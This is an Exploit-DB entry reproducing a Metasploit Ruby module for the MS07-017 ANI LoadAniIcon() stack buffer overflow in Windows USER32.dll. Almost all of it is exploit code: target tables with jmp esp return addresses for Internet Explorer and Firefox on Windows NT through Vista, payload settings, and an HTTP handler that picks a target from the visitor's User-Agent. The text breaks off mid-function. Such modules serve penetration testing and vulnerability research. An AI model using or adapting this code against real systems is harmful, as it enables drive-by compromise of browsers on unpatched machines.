Exploit-DB #16526
Description: Microsoft Windows - ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) (MS07-017) (Metasploit)
Type: remote
Platform: windows
Date: 2010-08-12
Author: Metasploit

Exploit:
##
# $Id: ms07_017_ani_loadimage_chunksize.rb 9984 2010-08-12 16:56:41Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RIFF

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)',
			'Description'    => %q{
					This module exploits a buffer overflow vulnerability in the
				LoadAniIcon() function in USER32.dll. The flaw can be triggered through
				Internet Explorer 6 and 7 by using the CURSOR style sheet directive
				to load a malicious .ANI file. The module can also exploit Mozilla
				Firefox by using a UNC path in a moz-icon URL and serving the .ANI file
				over WebDAV. The vulnerable code in USER32.dll will catch any
				exceptions that occur while the invalid cursor is loaded, causing the
				exploit to silently fail when the wrong target has been chosen.

				This vulnerability was discovered by Alexander Sotirov of Determina
				and was rediscovered, in the wild, by McAfee.
			},

			'Author'         =>
				[
					'hdm',   # First version
					'skape', # Vista support

					# Firefox support, OS language independence, improved reliability
					'Solar Eclipse <solareclipse@phreedom.org>'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9984 $',
			'References'     =>
				[
					['CVE', '2007-0038'],
					['OSVDB', '33629'],
					['BID', '23194'],
					['MSB', 'MS07-017'],
					['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
					['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'  => 1024 + (rand(1000)),
					'Compat' =>
					{
						'ConnectionType' => '-find',
					}
				},
			'Platform'       => 'win',

			# Automatic target tested on:
			#
			#   Windows NT SP6 + IE6 SP1
			#   Windows 2000 SP4 + IE6 SP1
			#   Windows 2000 SP4 UR1 + IE6 SP1
			#   Windows XP SP0
			#   Windows XP SP1
			#   Windows XP SP2
			#   Windows XP SP2 + IE7
			#   Windows 2003 SP0
			#   Windows 2003 SP1
			#   Windows 2003 SP1 + IE7
			#   Windows Vista
			#
			#   Windows XP SP0 + Firebird 0.7
			#   Windows XP SP0 + Firefox 1.0
			#   Windows XP SP0 + Firefox 1.5
			#   Windows XP SP2 + Firefox 2.0
			#   Windows 2003 SP1 + Firefox 2.0
			#   Windows Vista + Firefox 2.0

			'Targets'        =>
				[
					[ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista',
						{
						'Method' => 'automatic'
						}
					],
					[ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)',
						{
						'Method' => 'jmpesp',
						'Ret1'   => 0x0040afff,   # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe)
						'Ret2'   => 0x004090df    # jmp esp on 2003 SP1, SP2 (iexplore.exe)
						}
					],
					[ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)',
						{
						'Method' => 'jmpesp',
						'Ret1'   => 0x00420B45,   # jmp esp on XP SP2 (iexplore.exe)
						'Ret2'   => 0x00420B45    # jmp esp on 2003 SP1, SP2 (iexplore.exe)
						}
					],
					[ 'IE7 and Firefox on Windows Vista (all languages)',
						{
						'Method' => 'partial',
						'Ret'    => 0x700B        # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll)
						}
					],
					[ 'Firefox on Windows XP (English)',
						{
						'Method' => 'jmpesp',
						'Ret1'   => 0x77059E48,   # jmp esp on XP (comres.dll)
						'Ret2'   => 0x77019668    # jmp esp on 2003 SP1, SP2 (comres.dll)
						}
					],
					[ 'Firefox on Windows 2003 (English)',
						{
						'Method' => 'jmpesp',
						'Ret1'   => 0x77019668,   # jmp esp on 2003 SP0 (comres.dll)
						'Ret2'   => 0x77019668    # jmp esp on 2003 SP1, SP2 (comres.dll)
						}
					],
				],
			'DisclosureDate' => 'Mar 28 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
			], self.class)
	end


#
# Handle HTTP requests
#

	def on_request_uri(cli, request)

		#
		# Automatic browser and OS detection
		#

		print_status("Attempting to exploit ani_loadimage_chunksize")
		browser = ''

		if target['Method'] == 'automatic'

			agent = request.headers['User-Agent']

			# Check for Firefox requests

			if agent =~ /(Gecko|Microsoft-WebDAV-MiniRedir)/

				browser = 'Mozilla'

				# WebDAV requires that we use port 80 and the URIPATH is '/'

				if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
					print_status("Mozilla request received from #{cli.peerhost}. To exploit Mozilla browsers, SRVPORT must be set to 80 and URIPATH must be '/'")
					cli.send_response(create_response(404, "File not found"))
					return
				end

				if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/
					target = targets[3]   # Firefox on Vista
				elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
					target = targets[4]   # Firefox on XP
				elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
					target = targets[5]   # Firefox on 2003
				else
					print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
					return
				end

			# Check for MSIE requests

			elsif agent =~ /MSIE/

				browser = 'IE'

				if agent =~ /Windows NT 6\.0/
					target = targets[3]   # IE7 on Vista
				elsif agent =~ /MSIE 7\.0/
					target